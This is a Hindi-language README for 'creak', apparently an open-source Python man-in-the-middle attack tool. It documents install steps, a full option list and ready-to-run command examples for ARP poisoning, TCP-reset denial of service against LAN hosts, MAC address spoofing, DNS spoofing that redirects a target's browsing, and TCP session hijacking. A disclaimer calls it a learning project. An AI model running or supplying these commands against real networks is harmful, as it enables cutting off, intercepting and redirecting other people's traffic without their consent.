
विषाक्त करें, रीसेट करें, स्पूफ करें, रीडायरेक्ट करें MITM स्क्रिप्ट
लोकल नेटवर्क में स्थित लक्ष्य पतों पर कुछ सबसे प्रसिद्ध MITM हमले करता है। इनमें से, ARP पॉइज़न हमला करके और राउटर पर किए गए प्रत्येक अनुरोध पर रीसेट TCP पैकेट भेजकर लोकल नेटवर्क में एक लक्ष्य होस्ट की नेविगेशन और डाउनलोड क्षमताओं को अस्वीकार करना शामिल है। यह पायथन भाषा सीखने के लिए एक उपदेशात्मक परियोजना के रूप में बनाया गया था, मैं किसी भी दुरुपयोग, जिसमें इस कोड का दुर्भावनापूर्ण या अवैध उपयोग शामिल है, के लिए सभी जिम्मेदारी अस्वीकार करता हूँ।
$ git clone https://github.com/codepr/creak.git
$ cd creak
$ python setup.py install
या केवल रिपॉजिटरी को क्लोन करें और सभी आवश्यकताएँ स्थापित होने के बाद creak.py चलाएँ:
$ git clone https://github.com/codepr/creak.git
कच्चे पैकेट हेरफेर के लिए pcap लाइब्रेरीज़ और dpkt मॉड्यूल स्थापित होना आवश्यक है, DNS स्पूफिंग विकल्पों के लिए libdnet पैकेज से dnet मॉड्यूल स्थापित होना आवश्यक है, इसे pydnet (नेटवर्क मूल्यांकन उपकरण) मॉड्यूल के साथ भ्रमित न करें।
यदि चाहें तो scapy का भी उपयोग किया जा सकता है, बस इसे config फ़ाइल के [output] > ENGINE अनुभाग में सेट किया जा सकता है।
Usage: creak.py [options] dev
Options:
-h, --help show this help message and exit
-1, --sessions-scan Sessions scan mode
-2, --dns-spoof Dns spoofing
-3, --session-hijack Try to steal a TCP sessions by desynchronization (old technique)
-x, --spoof Spoof mode, generate a fake MAC address to be used
during attack
-m MACADDR Mac address octet prefix (could be an entire MAC
address in the form AA:BB:CC:DD:EE:FF)
-M MANUFACTURER Manufacturer of the wireless device, for retrieving a
manufactur based prefix for MAC spoof
-s SOURCE Source ip address (e.g. a class C address like
192.168.1.150) usually the router address
-t TARGET Target ip address (e.g. a class C address like
192.168.1.150), can be specified multiple times
-p PORT Target port to shutdown
-a HOST Target host that will be redirect while navigating on
target machine
-r REDIR Target redirection that will be fetched instead of host
on the target machine
-v, --verbose Verbose output mode
-d, --dotted Dotted output mode
सबसे बुनियादी उपयोग: लक्ष्य होस्ट के सभी ट्रैफ़िक को अस्वीकार करें
$ python creak.py -t 192.168.1.30 wlan0
एक अलग गेटवे सेट करें:
$ python creak.py -s 192.168.1.2 -t 192.168.1.30 wlan0
डिवाइस के लिए एक अलग MAC पता सेट करें:
$ python creak.py -m 00:11:22:33:44:55 -t 192.168.1.30 wlan0
नकली MAC पता उत्पन्न करके स्पूफ करें:
$ python creak.py -x -t 192.168.1.30 wlan0
निर्माता (जैसे Xeros) के आधार पर MAC पता उत्पन्न करके स्पूफ करें:
$ python creak.py -x -M xeros -t 192.168.1.30 wlan0
नकली MAC पते का उपयोग करके DNS स्पूफिंग, ab.xy को cd.xz (उदा. लोकलहोस्ट) पर रीडायरेक्ट करना:
$ python creak.py -x -M xeros -t 192.168.1.30 -a www.ab.xy -r www.cd.xz wlan0
सबनेट में कई होस्ट को अस्वीकार करें:
$ python creak.py -x -t 192.168.1.30 -t 192.168.1.31 -t 192.168.1.32 wlan0
CHANGELOG फ़ाइल देखें।
Scapy का पूर्ण समर्थन (शुरू किया गया)लाइसेंस अधिकारों और सीमाओं के लिए LICENSE फ़ाइल देखें (GNU v3)।